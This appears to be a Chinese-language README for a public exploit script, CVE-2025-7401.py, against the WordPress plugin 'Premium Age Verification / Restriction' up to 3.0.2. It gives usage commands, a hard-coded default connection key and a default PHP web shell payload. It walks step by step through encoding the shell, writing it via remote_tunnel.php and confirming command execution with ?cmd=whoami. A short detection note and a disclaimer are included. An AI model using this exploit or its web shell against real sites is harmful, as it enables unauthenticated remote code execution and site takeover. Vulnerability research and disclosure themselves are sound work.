Premium Age Verification / Restriction for WordPress <= 3.0.2 - 未认证任意文件读取与写入
“Premium Age Verification / Restriction for WordPress”插件在 remote_tunnel.php 中包含一个保护不足的远程支持端点。在包括 3.0.2 在内的受影响版本中,该端点可被滥用,实现未认证的任意文件读取与写入。成功利用可能导致敏感信息泄露,甚至允许远程代码执行。
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php 的可疑请求。/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php 的 POST 请求,重点关注参数:action=save_file、file、file_content。remote_init.php。如果您在第三方基础设施上发现此漏洞:
在许多司法管辖区,未经授权使用漏洞测试工具属于违法行为。本仓库和脚本仅用于防御性研究、授权测试和协调式漏洞披露。在测试不属于您的系统之前,请务必获得明确的书面许可。
作者和贡献者不对信息或工具的滥用承担任何责任。请仅在法律和道德允许的范围内使用本材料。
作者:Nxploited ( Khaled Alenazi )
| 标志 | 类型 | 默认值 | 描述 |
|---|
| -u, --url | string | 必填 | 目标域名或部分 URL。必要时脚本会自动拼接插件端点。示例:example.com、https://example.com、example.com/wp-content/plugins/age-restriction/。 |
| -key, --key | string | 330489965d8266a739442ef890f57805 | 远程支持端点使用的连接密钥。如果是实验室目标,可按需覆盖。 |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | 要作为文件内容注入的 PHP 代码片段。仅在授权测试时修改。 |
| --no-verify | flag | false | 如果提供此标志,脚本将不执行可选的对已写入文件的 GET 验证。 |
| 步骤 | 操作 | 详情 |
|---|
| 1 | 输入规范化 | 接受用户输入(域名或部分路径)。确保包含协议(缺失时补上 http://),去除重复斜杠,并在端点不存在时追加 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php。 |
| 2 | 构造请求头 | 构造逼真的 HTTP 请求头(轮换选择 User-Agent,包含 Accept、Referer、Content-Type)。 |
| 3 | 载荷编码 | 对提供的 PHP 代码片段进行 Base64 编码,并将其放入 file_content。 |
| 4 | POST 利用请求 | 通过 application/x-www-form-urlencoded 将 connection_key、action=save_file、file(服务器路径)和 file_content 发送到规范化后的 remote_tunnel.php 端点。 |
| 5 | 响应解析 | 尝试从响应体中解析 JSON。如果存在 JSON,则打印 status 和 file_path;否则打印清理后的原始响应。 |
| 6 | 验证(可选) | 尝试对 /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami 执行 GET 请求,以检查注入的文件是否可访问并返回内容。可通过 --no-verify 跳过。 |
| 7 | 报告输出 | 打印结构化、易读的报告,包括所使用的端点、HTTP 状态、解析出的 JSON(如有)、预期的 Shell URL 以及截断后的验证输出(如果成功)。 |
| 输出字段 | 含义 | 示例 |
|---|
| 目标端点 | 最终发起请求的规范化 URL(remote_tunnel.php 的完整路径)。 | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP 状态码 | POST 请求返回的 HTTP 响应码。200 通常表示请求已被处理。 | 200 |
| 响应 JSON 状态 | 如果端点返回 JSON,status 字段报告成功或失败。 | valid |
| 响应 JSON file_path | 端点返回的服务器端路径,显示文件写入的位置(仅供参考)。 | /var/www/html/wp-content/.../remote_init.php |
| 原始响应 | 非 JSON 的响应体(已清理),例如 PHP 提示信息或消息。 | Notice: ... |
| Shell URL(预期) | 注入文件可通过公网访问的 URL。仅在授权测试中用于验证。 | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| 验证 HTTP 状态 | 可选 GET 验证的 HTTP 状态码。 | 200 |
| 验证响应体(截断) | 验证响应体的前 N 个字符(有助于查看命令输出)。 | www-data |